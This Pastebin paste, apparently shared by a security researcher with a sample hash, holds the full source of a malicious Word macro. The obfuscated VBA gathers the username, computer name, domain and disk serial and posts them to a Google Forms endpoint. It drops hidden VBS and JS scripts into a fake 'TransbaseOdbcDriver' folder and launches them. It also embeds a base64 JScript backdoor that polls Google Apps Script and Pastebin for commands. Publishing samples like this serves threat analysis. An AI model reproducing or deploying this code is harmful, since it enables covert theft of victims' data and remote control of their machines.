blogfakessh

#[DOC/JS threat] Uploaded by @JohnLaTwC

Feb 3rd, 2017
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ## uploaded by @JohnLaTwc
  2. ## original sample hash: 111fc266692af396a0db176c49455acef907bb6d16715f5a6a3517362e218658
  3. ===== macro ===================================================================
  4. Function AL8vhpb5hk3w(AO3opbjnrp9)
  5.     Dim AM1wg7xyr, AN9vxh3lbsda
  6.     Set AM1wg7xyr = CreateObject((Chr(-57 + 134) & Chr(-21 + 136) & Chr(-26 + 146) & Chr(83 + 26) & Chr(-76 + 184) & Chr(91 + -41) & Chr(32 + 14) & Chr(15 + 53) & Chr(-16 + 95) & Chr(-69 + 146) & Chr(20 + 48) & Chr(-81 + 192) & Chr(97 + 2) & Chr(29 + 88) & Chr(23 + 86) & Chr(26 + 75) & Chr(-28 + 138) & Chr(-5 + 121) & Chr(54 + -8) & Chr(10 + 41) & Chr(74 + -28) & Chr(45 + 3)))
  7.     Set AN9vxh3lbsda = AM1wg7xyr.CreateElement((Chr(-90 + 188) & Chr(52 + 45) & Chr(7 + 108) & Chr(-17 + 118) & Chr(-53 + 107) & Chr(0 + 52)))
  8.     AN9vxh3lbsda.dataType = (Chr(-91 + 189) & Chr(-44 + 149) & Chr(-63 + 173) & Chr(61 + -15) & Chr(-85 + 183) & Chr(5 + 92) & Chr(28 + 87) & Chr(100 + 1) & Chr(100 + -46) & Chr(34 + 18))
  9.     AN9vxh3lbsda.nodeTypedValue = AR4ql6nqd(AO3opbjnrp9)
  10.     AL8vhpb5hk3w = AN9vxh3lbsda.Text
  11.     Set AN9vxh3lbsda = Nothing
  12.     Set AM1wg7xyr = Nothing
  13. End Function
  14.  
  15. Function AP6fuezipn4(ByVal AQ4ilbevk2j)
  16.     Dim AM1wg7xyr, AN9vxh3lbsda
  17.     Set AM1wg7xyr = CreateObject((Chr(10 + 67) & Chr(85 + 30) & Chr(85 + 35) & Chr(-97 + 206) & Chr(-64 + 172) & Chr(61 + -11) & Chr(-42 + 88) & Chr(-77 + 145) & Chr(-93 + 172) & Chr(-52 + 129) & Chr(39 + 29) & Chr(87 + 24) & Chr(-70 + 169) & Chr(-33 + 150) & Chr(12 + 97) & Chr(-13 + 114) & Chr(33 + 77) & Chr(-22 + 138) & Chr(-65 + 111) & Chr(27 + 24) & Chr(68 + -22) & Chr(71 + -23)))
  18.     Set AN9vxh3lbsda = AM1wg7xyr.CreateElement((Chr(5 + 93) & Chr(-68 + 165) & Chr(51 + 64) & Chr(92 + 9) & Chr(-100 + 154) & Chr(46 + 6)))
  19.     AN9vxh3lbsda.dataType = (Chr(67 + 31) & Chr(-17 + 122) & Chr(4 + 106) & Chr(-51 + 97) & Chr(-9 + 107) & Chr(78 + 19) & Chr(97 + 18) & Chr(-27 + 128) & Chr(48 + 6) & Chr(54 + -2))
  20.     AN9vxh3lbsda.Text = AQ4ilbevk2j
  21.     If AQ4ilbevk2j = "" Then
  22.         AP6fuezipn4 = ""
  23.     Else
  24.         AP6fuezipn4 = AV0kftndmk(AN9vxh3lbsda.nodeTypedValue)
  25.     End If
  26.     Set AN9vxh3lbsda = Nothing
  27.     Set AM1wg7xyr = Nothing
  28. End Function
  29.  
  30. Function AR4ql6nqd(Text)
  31.   Const AS9fvfrob = 2
  32.   Const AT6yshkqzy = 1
  33.   Dim AU3sjrvsqt3j
  34.   Set AU3sjrvsqt3j = CreateObject((Chr(-94 + 159) & Chr(3 + 65) & Chr(-12 + 91) & Chr(60 + 8) & Chr(-85 + 151) & Chr(38 + 8) & Chr(-2 + 85) & Chr(20 + 96) & Chr(68 + 46) & Chr(83 + 18) & Chr(-71 + 168) & Chr(62 + 47)))
  35.   AU3sjrvsqt3j.Type = AS9fvfrob
  36.   AU3sjrvsqt3j.Charset = (Chr(17 + 100) & Chr(56 + 59) & Chr(71 + -26) & Chr(-16 + 113) & Chr(-88 + 203) & Chr(-14 + 113) & Chr(48 + 57) & Chr(-19 + 124))
  37.   AU3sjrvsqt3j.Open
  38.   AU3sjrvsqt3j.WriteText Text
  39.   AU3sjrvsqt3j.Position = 0
  40.   AU3sjrvsqt3j.Type = AT6yshkqzy
  41.   AU3sjrvsqt3j.Position = 0
  42.   AR4ql6nqd = AU3sjrvsqt3j.Read
  43.   Set AU3sjrvsqt3j = Nothing
  44. End Function
  45.  
  46. Function AV0kftndmk(Binary)
  47.   Const AS9fvfrob = 2
  48.   Const AT6yshkqzy = 1
  49.   Dim AU3sjrvsqt3j
  50.   Set AU3sjrvsqt3j = CreateObject((Chr(-6 + 71) & Chr(89 + -21) & Chr(52 + 27) & Chr(61 + 7) & Chr(39 + 27) & Chr(-9 + 55) & Chr(56 + 27) & Chr(-52 + 168) & Chr(39 + 75) & Chr(5 + 96) & Chr(57 + 40) & Chr(22 + 87)))
  51.   AU3sjrvsqt3j.Type = AT6yshkqzy
  52.   AU3sjrvsqt3j.Open
  53.   AU3sjrvsqt3j.Write Binary
  54.   AU3sjrvsqt3j.Position = 0
  55.   AU3sjrvsqt3j.Type = AS9fvfrob
  56.   AU3sjrvsqt3j.Charset = (Chr(8 + 109) & Chr(-23 + 138) & Chr(1 + 44) & Chr(-78 + 175) & Chr(39 + 76) & Chr(-16 + 115) & Chr(-80 + 185) & Chr(92 + 13))
  57.   AV0kftndmk = AU3sjrvsqt3j.ReadText
  58.   Set AU3sjrvsqt3j = Nothing
  59. End Function
  60.  
  61.  
  62.  
  63.  
  64.  
  65.  
  66. Function getOS() As String
  67. On Error Resume Next
  68.     Dim OS
  69.     For Each OS In GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
  70.         getOS = OS.Caption
  71.     Next OS
  72.     Set OS = Nothing
  73. End Function
  74.  
  75. Public Function IsWin32OrWin64() As String
  76. On Error Resume Next
  77.     Dim proc_query As String
  78.     Dim proc_results As Object
  79.     Dim info As Object
  80.    
  81.     proc_query = "SELECT * FROM Win32_Processor"
  82.     Set proc_results = GetObject("Winmgmts:").ExecQuery(proc_query)
  83.     For Each info In proc_results
  84.         IsWin32OrWin64 = info.AddressWidth & "-bit"
  85.     Next info
  86. End Function
  87.  
  88. Function clearStr(Value As String) As String
  89. On Error Resume Next
  90.     Dim RE As Object
  91.     Set RE = CreateObject("VBScript.RegExp")
  92.     RE.ignoreCase = True
  93.     RE.Global = True
  94.     RE.Pattern = "[^\w]+"
  95.     clearStr = RE.Replace(Value, "")
  96. End Function
  97. Function cuid() As String
  98. On Error Resume Next
  99.     Dim giac: giac = "1"
  100.     Dim uuid: uuid = "1"
  101.    
  102.     Dim FSO, D, Serial
  103.     Set FSO = CreateObject("Scripting.FileSystemObject")
  104.     strDrive = FSO.GetDriveName(FSO.GetSpecialFolder(0))
  105.     Set D = FSO.GetDrive(strDrive)
  106.     Serial = D.SerialNumber
  107.    
  108.     Dim result As String
  109.     result = AL8vhpb5hk3w("" & Serial)
  110.     result = Mid(clearStr(result), 1, 20)
  111.     cuid = uuid & "." & giac & "." & result
  112. End Function
  113.  
  114. Function GetUserData() As String
  115. On Error Resume Next
  116. GetUserData = "UserName: " & Environ$("USERNAME") _
  117. & " | " & "ComputerName: " & Environ$("COMPUTERNAME") _
  118. & " | " & "UserDomain: " & Environ$("USERDOMAIN")
  119. End Function
  120.  
  121. Function sendFormData(Value As String) As Boolean
  122.     Dim formkey: formkey = "1F1zY2cODJxkCCorfv42kif4mxDsZ__BpXourgrkCtyo"
  123.     Dim entry: entry = "entry.766326787"
  124.     Dim rc As Variant
  125.     On Error Resume Next
  126.     Dim HttpRequest As Object
  127.     Set HttpRequest = CreateObject("MSXML2.XMLHTTP")
  128.     If Err.Number <> 0 Then
  129.         sendFormData = False
  130.         Set HttpRequest = Nothing
  131.         Exit Function
  132.     End If
  133.     On Error GoTo EndNow
  134.     HttpRequest.Open "POST", "https://docs.google.com/forms/d/" & formkey & "/formResponse", False
  135.     HttpRequest.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
  136.     HttpRequest.Send (entry & "=" & Value)
  137.     If HttpRequest.ReadyState <> 4 Then
  138.           HttpRequest.WaitForResponse 30
  139.     End If
  140.     rc = HttpRequest.StatusText
  141.     If rc = "OK" Then
  142.         sendFormData = True
  143.     Else
  144.         sendFormData = False
  145.     End If
  146. EndNow:
  147.     Set HttpRequest = Nothing
  148. End Function
  149.  
  150. Function CreateDir(YourPath As String) As Boolean
  151.     On Error GoTo EndNow
  152.     If Dir(YourPath, vbDirectory) = "" Then
  153.         MkDir (YourPath)
  154.     End If
  155.     CreateDir = True
  156.     Exit Function
  157. EndNow:
  158.     CreateDir = False
  159. End Function
  160.  
  161. Sub folderInit()
  162.     On Error Resume Next
  163.     Set sh = CreateObject("WScript.Shell")
  164.     Dim FileNumber, figName
  165.     Dim WorkPath As String
  166.     WorkPath = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%")
  167.     WorkPath = WorkPath & "\TransbaseOdbcDriver"
  168.     Dim statMkDir As Boolean
  169.     statMkDir = CreateDir(WorkPath)
  170.     If statMkDir Then
  171.         FileNumber = FreeFile
  172.         figName = WorkPath & "\LanCradDriver.ini"
  173.         Open figName For Output As #FileNumber
  174.         Close #FileNumber
  175.     End If
  176. End Sub
  177.  
  178. Sub ggl_runer()
  179.     On Error Resume Next
  180.     Dim f: f = "RGltIG9iakZTTywgb2JqU2hlbGwsIHN0ckZpbGUsIFJlYWRBbGxUZXh0RmlsZQ0KU2V0IG9iakZT"
  181.     f = f & "TyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IG9ialNo"
  182.     f = f & "ZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoICJXU2NyaXB0LlNoZWxsIiApDQpzdHJGaWxlID0g"
  183.     f = f & "b2JqU2hlbGwuRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCIlQUxMVVNFUlNQUk9GSUxFJVxUcmFu"
  184.     f = f & "c2Jhc2VPZGJjRHJpdmVyXExhbkNyYWREcml2ZXIuaW5pIikNClNldCBvYmpGaWxlID0gb2JqRlNP"
  185.     f = f & "Lk9wZW5UZXh0RmlsZShzdHJGaWxlLDEsZmFsc2UsLTEpDQpJZiBvYmpGaWxlLkF0RW5kT2ZTdHJl"
  186.     f = f & "YW0gVGhlbg0KCVJlYWRBbGxUZXh0RmlsZSA9ICIiDQpFbHNlDQoJUmVhZEFsbFRleHRGaWxlID0g"
  187.     f = f & "b2JqRmlsZS5SZWFkQWxsDQpFbmQgSWYNCm9iakZpbGUuQ2xvc2UNCkV4ZWN1dGVHbG9iYWwgUmVh"
  188.     f = f & "ZEFsbFRleHRGaWxl"
  189.  
  190.     Set sh = CreateObject("WScript.Shell")
  191.     Dim FileNumber, figName
  192.     Dim WorkPath As String
  193.     WorkPath = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%")
  194.     WorkPath = WorkPath & "\TransbaseOdbcDriver"
  195.     Dim statMkDir As Boolean
  196.     statMkDir = CreateDir(WorkPath)
  197.     If statMkDir Then
  198.         FileNumber = FreeFile
  199.         figName = WorkPath & "\LanCradDriver.vbs"
  200.         Open figName For Output As #FileNumber
  201.         Print #FileNumber, AP6fuezipn4(f)
  202.         Close #FileNumber
  203.     End If
  204. End Sub
  205.  
  206. Sub ggl_starter()
  207. On Error Resume Next
  208.     Dim f: f = "RGltIG9ialNoZWxsLHBhdGgNClNldCBvYmpTaGVsbCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCAi"
  209.     f = f & "V1NjcmlwdC5TaGVsbCIgKQ0KcGF0aCA9IG9ialNoZWxsLkV4cGFuZEVudmlyb25tZW50U3RyaW5n"
  210.     f = f & "cygiJUFMTFVTRVJTUFJPRklMRSVcVHJhbnNiYXNlT2RiY0RyaXZlclxUcmFuc2Jhc2VPZGJjRHJp"
  211.     f = f & "dmVyLmpzIikNCnBhdGggPSAiY21kLmV4ZSAvayB3c2NyaXB0LmV4ZSAiIiIgJiBwYXRoICYgIiIi"
  212.     f = f & "Ig0Kb2JqU2hlbGwuUnVuIHBhdGgsIDAsIHRydWUgDQpTZXQgb2JqU2hlbGwgPSBOb3RoaW5n"
  213.     Set sh = CreateObject("WScript.Shell")
  214.     Dim FileNumber, figName
  215.     Dim WorkPath As String
  216.     WorkPath = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%")
  217.     WorkPath = WorkPath & "\TransbaseOdbcDriver"
  218.     Dim statMkDir As Boolean
  219.     statMkDir = CreateDir(WorkPath)
  220.     If statMkDir Then
  221.         FileNumber = FreeFile
  222.         figName = WorkPath & "\starter.vbs"
  223.         Open figName For Output As #FileNumber
  224.         Print #FileNumber, AP6fuezipn4(f)
  225.         Close #FileNumber
  226.     End If
  227. End Sub
  228.  
  229. Public Sub ggl_hex()
  230. On Error Resume Next
  231. Dim f: f = "dmFyIG9ialNXYmVtU2VydmljZXNFeCA9IEdldE9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXR"
  232.  f = f & "pb25MZXZlbD1pbXBlcnNvbmF0ZX0hXFxcXC5cXHJvb3RcXGNpbXYyIik7DQp2YXIgY29sbFNXYm"
  233.  f = f & "VtT2JqZWN0U2V0ID0gb2JqU1diZW1TZXJ2aWNlc0V4LkV4ZWNRdWVyeSggIlNFTEVDVCBOYW1lL"
  234.  f = f & "CBDb21tYW5kTGluZSwgUHJvY2Vzc0lEIEZST00gV2luMzJfUHJvY2VzcyBXSEVSRSBOYW1lIExJ"
  235.  f = f & "S0UgJyVbY3ddc2NyaXB0LmV4ZScgQU5EIENvbW1hbmRMaW5lIExJS0UgJyVbY3ddc2NyaXB0JSI"
  236.  f = f & "gKyBXU2NyaXB0LlNjcmlwdE5hbWUgKyAiJSciLCAiV1FMIiwgMCk7DQppZihjb2xsU1diZW1PYm"
  237.  f = f & "plY3RTZXQuQ291bnQgPiAxKXsgV1NjcmlwdC5RdWl0KCk7IH0NCg0KdmFyIEJhc2U2NCA9IHsNC"
  238.  f = f & "iANCiAgLy8gcHJpdmF0ZSBwcm9wZXJ0eQ0KICBfa2V5U3RyOiAiQUJDREVGR0hJSktMTU5PUFFS"
  239.  f = f & "U1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0iLA0KIA0KICA"
  240.  f = f & "vLyBwdWJsaWMgbWV0aG9kIGZvciBlbmNvZGluZw0KICBlbmNvZGU6IGZ1bmN0aW9uIChpbnB1dC"
  241.  f = f & "kgew0KICAgIHZhciBvdXRwdXQgPSAiIjsNCiAgICB2YXIgY2hyMSwgY2hyMiwgY2hyMywgZW5jM"
  242.  f = f & "SwgZW5jMiwgZW5jMywgZW5jNDsNCiAgICB2YXIgaSA9IDA7DQogDQogICAgaW5wdXQgPSBCYXNl"
  243.  f = f & "NjQuX3V0ZjhfZW5jb2RlKGlucHV0KTsNCiANCiAgICB3aGlsZSAoaSA8IGlucHV0Lmxlbmd0aCk"
  244.  f = f & "gew0KIA0KICAgICAgY2hyMSA9IGlucHV0LmNoYXJDb2RlQXQoaSsrKTsNCiAgICAgIGNocjIgPS"
  245.  f = f & "BpbnB1dC5jaGFyQ29kZUF0KGkrKyk7DQogICAgICBjaHIzID0gaW5wdXQuY2hhckNvZGVBdChpK"
  246.  f = f & "yspOw0KIA0KICAgICAgZW5jMSA9IGNocjEgPj4gMjsNCiAgICAgIGVuYzIgPSAoKGNocjEgJiAz"
  247.  f = f & "KSA8PCA0KSB8IChjaHIyID4+IDQpOw0KICAgICAgZW5jMyA9ICgoY2hyMiAmIDE1KSA8PCAyKSB"
  248.  f = f & "8IChjaHIzID4+IDYpOw0KICAgICAgZW5jNCA9IGNocjMgJiA2MzsNCiANCiAgICAgIGlmIChpc0"
  249.  f = f & "5hTihjaHIyKSkgew0KICAgICAgICBlbmMzID0gZW5jNCA9IDY0Ow0KICAgICAgfSBlbHNlIGlmI"
  250.  f = f & "Chpc05hTihjaHIzKSkgew0KICAgICAgICBlbmM0ID0gNjQ7DQogICAgICB9DQogDQogICAgICBv"
  251.  f = f & "dXRwdXQgPSBvdXRwdXQgKyB0aGlzLl9rZXlTdHIuY2hhckF0KGVuYzEpICsgdGhpcy5fa2V5U3R"
  252.  f = f & "yLmNoYXJBdChlbmMyKSArIHRoaXMuX2tleVN0ci5jaGFyQXQoZW5jMykgKyB0aGlzLl9rZXlTdH"
  253.  f = f & "IuY2hhckF0KGVuYzQpOw0KIA0KICAgIH0NCiANCiAgICByZXR1cm4gb3V0cHV0Ow0KICB9LA0KI"
  254.  f = f & "A0KICAvLyBwdWJsaWMgbWV0aG9kIGZvciBkZWNvZGluZw0KICBkZWNvZGU6IGZ1bmN0aW9uIChp"
  255.  f = f & "bnB1dCkgew0KICAgIHZhciBvdXRwdXQgPSAiIjsNCiAgICB2YXIgY2hyMSwgY2hyMiwgY2hyMzs"
  256.  f = f & "NCiAgICB2YXIgZW5jMSwgZW5jMiwgZW5jMywgZW5jNDsNCiAgICB2YXIgaSA9IDA7DQogDQogIC"
  257.  f = f & "AgaW5wdXQgPSBpbnB1dC5yZXBsYWNlKC9bXkEtWmEtejAtOVwrXC9cPV0vZywgIiIpOw0KIA0KI"
  258.  f = f & "CAgIHdoaWxlIChpIDwgaW5wdXQubGVuZ3RoKSB7DQogDQogICAgICBlbmMxID0gdGhpcy5fa2V5"
  259.  f = f & "U3RyLmluZGV4T2YoaW5wdXQuY2hhckF0KGkrKykpOw0KICAgICAgZW5jMiA9IHRoaXMuX2tleVN"
  260.  f = f & "0ci5pbmRleE9mKGlucHV0LmNoYXJBdChpKyspKTsNCiAgICAgIGVuYzMgPSB0aGlzLl9rZXlTdH"
  261.  f = f & "IuaW5kZXhPZihpbnB1dC5jaGFyQXQoaSsrKSk7DQogICAgICBlbmM0ID0gdGhpcy5fa2V5U3RyL"
  262.  f = f & "mluZGV4T2YoaW5wdXQuY2hhckF0KGkrKykpOw0KIA0KICAgICAgY2hyMSA9IChlbmMxIDw8IDIp"
  263.  f = f & "IHwgKGVuYzIgPj4gNCk7DQogICAgICBjaHIyID0gKChlbmMyICYgMTUpIDw8IDQpIHwgKGVuYzM"
  264.  f = f & "gPj4gMik7DQogICAgICBjaHIzID0gKChlbmMzICYgMykgPDwgNikgfCBlbmM0Ow0KIA0KICAgIC"
  265.  f = f & "Agb3V0cHV0ID0gb3V0cHV0ICsgU3RyaW5nLmZyb21DaGFyQ29kZShjaHIxKTsNCiANCiAgICAgI"
  266.  f = f & "GlmIChlbmMzICE9IDY0KSB7DQogICAgICAgIG91dHB1dCA9IG91dHB1dCArIFN0cmluZy5mcm9t"
  267.  f = f & "Q2hhckNvZGUoY2hyMik7DQogICAgICB9DQogICAgICBpZiAoZW5jNCAhPSA2NCkgew0KICAgICA"
  268.  f = f & "gICBvdXRwdXQgPSBvdXRwdXQgKyBTdHJpbmcuZnJvbUNoYXJDb2RlKGNocjMpOw0KICAgICAgfQ"
  269.  f = f & "0KIA0KICAgIH0NCiANCiAgICBvdXRwdXQgPSBCYXNlNjQuX3V0ZjhfZGVjb2RlKG91dHB1dCk7D"
  270.  f = f & "QogDQogICAgcmV0dXJuIG91dHB1dDsNCiANCiAgfSwNCiANCiAgLy8gcHJpdmF0ZSBtZXRob2Qg"
  271.  f = f & "Zm9yIFVURi04IGVuY29kaW5nDQogIF91dGY4X2VuY29kZTogZnVuY3Rpb24gKHN0cmluZykgew0"
  272.  f = f & "KICAgIHN0cmluZyA9IHN0cmluZy5yZXBsYWNlKC9cclxuL2csICJcbiIpOw0KICAgIHZhciB1dG"
  273.  f = f & "Z0ZXh0ID0gIiI7DQogDQogICAgZm9yICh2YXIgbiA9IDA7IG4gPCBzdHJpbmcubGVuZ3RoOyBuK"
  274.  f = f & "yspIHsNCiANCiAgICAgIHZhciBjID0gc3RyaW5nLmNoYXJDb2RlQXQobik7DQogDQogICAgICBp"
  275.  f = f & "ZiAoYyA8IDEyOCkgew0KICAgICAgICB1dGZ0ZXh0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoYyk"
  276.  f = f & "7DQogICAgICB9IGVsc2UgaWYgKChjID4gMTI3KSAmJiAoYyA8IDIwNDgpKSB7DQogICAgICAgIH"
  277.  f = f & "V0ZnRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoYyA+PiA2KSB8IDE5Mik7DQogICAgICAgI"
  278.  f = f & "HV0ZnRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoYyAmIDYzKSB8IDEyOCk7DQogICAgICB9"
  279.  f = f & "IGVsc2Ugew0KICAgICAgICB1dGZ0ZXh0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoKGMgPj4gMTI"
  280.  f = f & "pIHwgMjI0KTsNCiAgICAgICAgdXRmdGV4dCArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKCgoYyA+Pi"
  281.  f = f & "A2KSAmIDYzKSB8IDEyOCk7DQogICAgICAgIHV0ZnRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZ"
  282.  f = f & "SgoYyAmIDYzKSB8IDEyOCk7DQogICAgICB9DQogDQogICAgfQ0KIA0KICAgIHJldHVybiB1dGZ0"
  283.  f = f & "ZXh0Ow0KICB9LA0KIA0KICAvLyBwcml2YXRlIG1ldGhvZCBmb3IgVVRGLTggZGVjb2RpbmcNCiA"
  284.  f = f & "gX3V0ZjhfZGVjb2RlOiBmdW5jdGlvbiAodXRmdGV4dCkgew0KICAgIHZhciBzdHJpbmcgPSAiIj"
  285.  f = f & "sNCiAgICB2YXIgaSA9IDA7DQogICAgdmFyIGMgPSBjMSA9IGMyID0gMDsNCiANCiAgICB3aGlsZ"
  286.  f = f & "SAoaSA8IHV0ZnRleHQubGVuZ3RoKSB7DQogDQogICAgICBjID0gdXRmdGV4dC5jaGFyQ29kZUF0"
  287.  f = f & "KGkpOw0KIA0KICAgICAgaWYgKGMgPCAxMjgpIHsNCiAgICAgICAgc3RyaW5nICs9IFN0cmluZy5"
  288.  f = f & "mcm9tQ2hhckNvZGUoYyk7DQogICAgICAgIGkrKzsNCiAgICAgIH0gZWxzZSBpZiAoKGMgPiAxOT"
  289.  f = f & "EpICYmIChjIDwgMjI0KSkgew0KICAgICAgICBjMiA9IHV0ZnRleHQuY2hhckNvZGVBdChpICsgM"
  290.  f = f & "Sk7DQogICAgICAgIHN0cmluZyArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKCgoYyAmIDMxKSA8PCA2"
  291.  f = f & "KSB8IChjMiAmIDYzKSk7DQogICAgICAgIGkgKz0gMjsNCiAgICAgIH0gZWxzZSB7DQogICAgICA"
  292.  f = f & "gIGMyID0gdXRmdGV4dC5jaGFyQ29kZUF0KGkgKyAxKTsNCiAgICAgICAgYzMgPSB1dGZ0ZXh0Lm"
  293.  f = f & "NoYXJDb2RlQXQoaSArIDIpOw0KICAgICAgICBzdHJpbmcgKz0gU3RyaW5nLmZyb21DaGFyQ29kZ"
  294.  f = f & "SgoKGMgJiAxNSkgPDwgMTIpIHwgKChjMiAmIDYzKSA8PCA2KSB8IChjMyAmIDYzKSk7DQogICAg"
  295.  f = f & "ICAgIGkgKz0gMzsNCiAgICAgIH0NCiANCiAgICB9DQogDQogICAgcmV0dXJuIHN0cmluZzsNCiA"
  296.  f = f & "gfQ0KfQ0KDQppZighQ3JlYXRlRGlyKCkpV1NjcmlwdC5RdWl0KCk7DQoNCnZhciBnaWFjID0gIj"
  297.  f = f & "EiOw0KdmFyIHV1aWQgPSAiMSI7DQp2YXIgZ3VpZCA9IENVSUQoKTsNCgkNCnZhciBzZXR0dGluZ"
  298.  f = f & "0FyciA9IGZhbHNlOw0KDQpkbyB7DQoJDQoJaWYgKCBzZXR0dGluZ0FyciApIHsNCgkgICAgR2V0"
  299.  f = f & "U291cmNlQ29kZShzZXR0dGluZ0Fyci5zcHJlYWRzaGVldGtleSwgc2V0dHRpbmdBcnIuZm9ybWt"
  300.  f = f & "leSwgc2V0dHRpbmdBcnIuZW50cnkpOw0KCX1lbHNlew0KCQlzZXR0dGluZ0FyciA9IExvYWRMaW"
  301.  f = f & "5rU2V0dGluZ3MoKTsJDQoJfQ0KCVdTY3JpcHQuU2xlZXAoMTAwMCo2MCpyYW5kSW50KDEsMikpO"
  302.  f = f & "w0KfQ0Kd2hpbGUgKDEpOw0KZnVuY3Rpb24gcmFuZEludChtaW4sIG1heCl7DQogIHJldHVybiBN"
  303.  f = f & "YXRoLnJvdW5kKE1hdGgucmFuZG9tKCkqKG1heC1taW4pK21pbik7DQp9DQoNCmZ1bmN0aW9uIEx"
  304.  f = f & "vYWRMaW5rU2V0dGluZ3MoKSB7DQoJdmFyIGdvX2NvbSA9IEluZXRSZWFkKCJodHRwczovL3Njcm"
  305.  f = f & "lwdC5nb29nbGUuY29tL21hY3Jvcy9zL0FLZnljYnpvSURyU3RTZWI1aUptd3N4R1pCdm9jc3c0Z"
  306.  f = f & "GEyRlp3MF9mcU9rUkFnd3pIN2gyYUUvZXhlYyIrICI/YmlkPSIgKyBndWlkKTsNCgl0cnkgew0K"
  307.  f = f & "CQlpZiggZ29fY29tWydzdGF0J10gPj0gMjAwICYmICBnb19jb21bJ3N0YXQnXSA8IDMwMCl7DQo"
  308.  f = f & "JCQl2YXIgY21kX3R4dCA9IGdvX2NvbVsndGV4dCddOw0KCQkJdmFyIHNldHRpbmdzQXJyID0gY2"
  309.  f = f & "1kX3R4dC5tYXRjaCggLyxcXHgyMnVzZXJIdG1sXFx4MjI6XFx4MjIoLispXFx4MjIsXFx4MjJuY"
  310.  f = f & "2MvICk7DQoJCQl2YXIgc2V0dGluZyA9IHNwbGl0KHNldHRpbmdzQXJyWzFdLCckJCQnLDMpOw0K"
  311.  f = f & "CQkJaWYgKHNldHRpbmcubGVuZ3RoID09IDMpIHsgDQoJCQkJcmV0dXJuIHsNCgkJCQkJICJzcHJ"
  312.  f = f & "lYWRzaGVldGtleSI6IHNldHRpbmdbMF0NCgkJCQkJLCJmb3Jta2V5Ijogc2V0dGluZ1sxXQ0KCQ"
  313.  f = f & "kJCQksImVudHJ5Ijogc2V0dGluZ1syXSANCgkJCQl9OwkJDQoJCQl9DQoJCQl2YXIgZm9ybWtle"
  314.  f = f & "VJlZyA9ICIxQlp1UDNWWVFqTEFJNTlEcF9POXZDSDFrZ19nUU52aEl2di1Ca21wQlRaNCI7DQoJ"
  315.  f = f & "CQl2YXIgZW50cnlSZWcgPSAiZW50cnkuMjAyNTg4NTkzMiI7DQoJCQlMb2dJbmV0KGd1aWQsZm9"
  316.  f = f & "ybWtleVJlZyxlbnRyeVJlZyk7CQkJDQoJCX0NCgl9IGNhdGNoIChlKSB7fQ0KCXJldHVybiBmYW"
  317.  f = f & "xzZTsJDQp9CQkNCg0KZnVuY3Rpb24gR2V0U291cmNlQ29kZShhc3ByZWFkc2hlZXRrZXksYWZvc"
  318.  f = f & "m1rZXksYWVudHJ5KSB7DQoNCiAgICAgICAgdmFyIEdsb2JhbE9iamVjdCA9IHRoaXM7DQogICAg"
  319.  f = f & "ICAgIHZhciBGU08gPSBuZXcgQWN0aXZlWE9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmp"
  320.  f = f & "lY3QiKTsNCiAgICAgICAgdmFyIFdzaFNoZWxsID0gbmV3IEFjdGl2ZVhPYmplY3QoIldTY3JpcH"
  321.  f = f & "QuU2hlbGwiKTsNCgkJDQogICAgICAgIHZhciBmb3Jta2V5ID0gYWZvcm1rZXk7DQoJCXZhciBlb"
  322.  f = f & "nRyeSA9IGFlbnRyeTsNCiAgICAgICAgdmFyIHNwcmVhZHNoZWV0a2V5ID0gYXNwcmVhZHNoZWV0"
  323.  f = f & "a2V5Ow0KDQogICAgICAgIHZhciBpbnRlcnZhbE1pbiA9IDMwOw0KICAgICAgICB2YXIgaW50ZXJ"
  324.  f = f & "2YWxNYXggPSA1MDsNCiAgICAgICAgdmFyIGJvdGNsYXNzID0gR2VuZXJhdGVTdHJpbmcoOCk7DQ"
  325.  f = f & "ogICAgICAgIHZhciBsYXN0ID0gVGV4dEZpbGVSZWFkKCIlQUxMVVNFUlNQUk9GSUxFJVxcVHJhb"
  326.  f = f & "nNiYXNlT2RiY0RyaXZlclxcZHR0c2cudHh0Iik7DQogICAgICAgIHZhciB2ZXJzaW9uID0gIjEu"
  327.  f = f & "MCI7DQoJCQ0KCQl2YXIgbGlua1BCID0gImh0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L01mUVY1ZTZ"
  328.  f = f & "SIjsNCgkJdmFyIGtleVBhdGggPSAiSEtFWV9DVVJSRU5UX1VTRVJcXFNvZnR3YXJlXFxNaWNyb3"
  329.  f = f & "NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxsYXN0cyI7CQkNCgkJDQogICAgICAgIFdza"
  330.  f = f & "FNoZWxsLkN1cnJlbnREaXJlY3RvcnkgPSBHZXRTY3JpcHREaXIoKTsNCiAgICAgICAgTG9nKCk7"
  331.  f = f & "DQogICAgICAgIEdldENvbW1hbmQoKTsNCgkJDQogICAgICAgIGZ1bmN0aW9uIEdldENvbW1hbmQ"
  332.  f = f & "oKSB7DQogICAgICAgICAgICAgICAgdHJ5IHsNCgkJCQkJCXZhciBsZWdjID0gZ2V0TGFzdEV4ZU"
  333.  f = f & "dvb2dDbWQoKTsNCgkJCQkJCXZhciBjbWJfb2IgPSB7fQ0KCQkJCQkJY21iX29iLmZsYWcgPSBmY"
  334.  f = f & "WxzZTsNCgkJCQkJCQ0KCQkJCQkJdmFyIGdvX2NvbSA9IEluZXRSZWFkKCJodHRwczovL2RvY3Mu"
